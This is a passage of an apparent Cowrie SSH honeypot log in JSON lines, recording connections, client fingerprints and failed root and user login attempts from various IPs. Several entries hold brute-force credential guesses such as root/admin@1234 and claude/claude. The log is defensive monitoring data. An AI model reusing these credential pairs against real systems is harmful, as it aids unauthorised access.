info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.537150Z","src_ip":"43.173.83.154","session":"aa929d56af92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shinee","message":"login attempt [root/shinee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.804902Z","src_ip":"43.153.50.197","session":"2aaacae9ad81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjc","message":"login attempt [root/zjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.850456Z","src_ip":"43.173.83.154","session":"aa929d56af92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:29.876710Z","src_ip":"43.153.50.197","session":"2aaacae9ad81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:29.925670Z","src_ip":"43.173.83.154","session":"aa929d56af92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":42970,"dst_ip":"159.203.135.109","dst_port":22,"session":"968e97d173b3","protocol":"ssh","message":"New connection: 43.135.164.198:42970 (159.203.135.109:22) [session: 968e97d173b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:36.978954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:36.985516Z","src_ip":"43.135.164.198","session":"968e97d173b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:37.055539Z","src_ip":"43.135.164.198","session":"968e97d173b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:37.363113Z","src_ip":"43.135.164.198","session":"968e97d173b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f796fc48c2","protocol":"ssh","message":"New connection: 43.128.112.183:52256 (10.17.0.5:22) [session: 63f796fc48c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:37.550384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:37.555568Z","src_ip":"43.128.112.183","session":"63f796fc48c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:37.804231Z","src_ip":"43.128.112.183","session":"63f796fc48c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:38.434477Z","src_ip":"43.135.164.198","session":"968e97d173b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j8LrZjtyudgwUkz","message":"login attempt [root/j8LrZjtyudgwUkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:38.816466Z","src_ip":"43.128.112.183","session":"63f796fc48c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:40.065026Z","src_ip":"43.128.112.183","session":"63f796fc48c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":39364,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a8d62142ec","protocol":"ssh","message":"New connection: 209.99.190.200:39364 (10.17.0.5:22) [session: 32a8d62142ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.071458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.076733Z","src_ip":"209.99.190.200","session":"32a8d62142ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":14865,"dst_ip":"10.17.0.5","dst_port":22,"session":"85ff5f0e3664","protocol":"ssh","message":"New connection: 190.119.63.98:14865 (10.17.0.5:22) [session: 85ff5f0e3664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.140255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.145207Z","src_ip":"190.119.63.98","session":"85ff5f0e3664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.172409Z","src_ip":"209.99.190.200","session":"32a8d62142ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.289463Z","src_ip":"190.119.63.98","session":"85ff5f0e3664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.585263Z","src_ip":"209.99.190.200","session":"32a8d62142ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zjc","message":"login attempt [root/zjc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:43.939363Z","src_ip":"190.119.63.98","session":"85ff5f0e3664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:44.684417Z","src_ip":"209.99.190.200","session":"32a8d62142ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:45.086792Z","src_ip":"190.119.63.98","session":"85ff5f0e3664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49880,"dst_ip":"159.203.135.109","dst_port":22,"session":"71f8d3a01612","protocol":"ssh","message":"New connection: 103.183.114.55:49880 (159.203.135.109:22) [session: 71f8d3a01612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:48.560757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:48.565712Z","src_ip":"103.183.114.55","session":"71f8d3a01612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:48.787064Z","src_ip":"103.183.114.55","session":"71f8d3a01612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"7834c93fed0f","protocol":"ssh","message":"New connection: 176.65.148.108:39016 (10.17.0.5:22) [session: 7834c93fed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.232911Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.317667Z","src_ip":"176.65.148.108","session":"7834c93fed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b35c62ddb74","protocol":"ssh","message":"New connection: 176.65.148.108:39028 (10.17.0.5:22) [session: 2b35c62ddb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.396113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.403112Z","src_ip":"176.65.148.108","session":"2b35c62ddb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"noname","message":"login attempt [root/noname] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.450233Z","src_ip":"103.183.114.55","session":"71f8d3a01612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.486064Z","src_ip":"176.65.148.108","session":"2b35c62ddb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123456","message":"login attempt [a/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:49.734012Z","src_ip":"176.65.148.108","session":"2b35c62ddb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:50.673581Z","src_ip":"103.183.114.55","session":"71f8d3a01612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:50.818433Z","src_ip":"176.65.148.108","session":"2b35c62ddb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a307e81e8097","protocol":"ssh","message":"New connection: 185.236.22.41:37154 (10.17.0.5:22) [session: a307e81e8097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.043347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.047304Z","src_ip":"185.236.22.41","session":"a307e81e8097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.168234Z","src_ip":"185.236.22.41","session":"a307e81e8097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":54984,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae8c4951842","protocol":"ssh","message":"New connection: 43.135.168.126:54984 (159.203.135.109:22) [session: dae8c4951842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.481415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.485900Z","src_ip":"43.135.168.126","session":"dae8c4951842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.558322Z","src_ip":"43.135.168.126","session":"dae8c4951842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vorona","message":"login attempt [root/vorona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.623222Z","src_ip":"185.236.22.41","session":"a307e81e8097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147147147","message":"login attempt [root/147147147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:53.865277Z","src_ip":"43.135.168.126","session":"dae8c4951842","protocol":"ssh"}
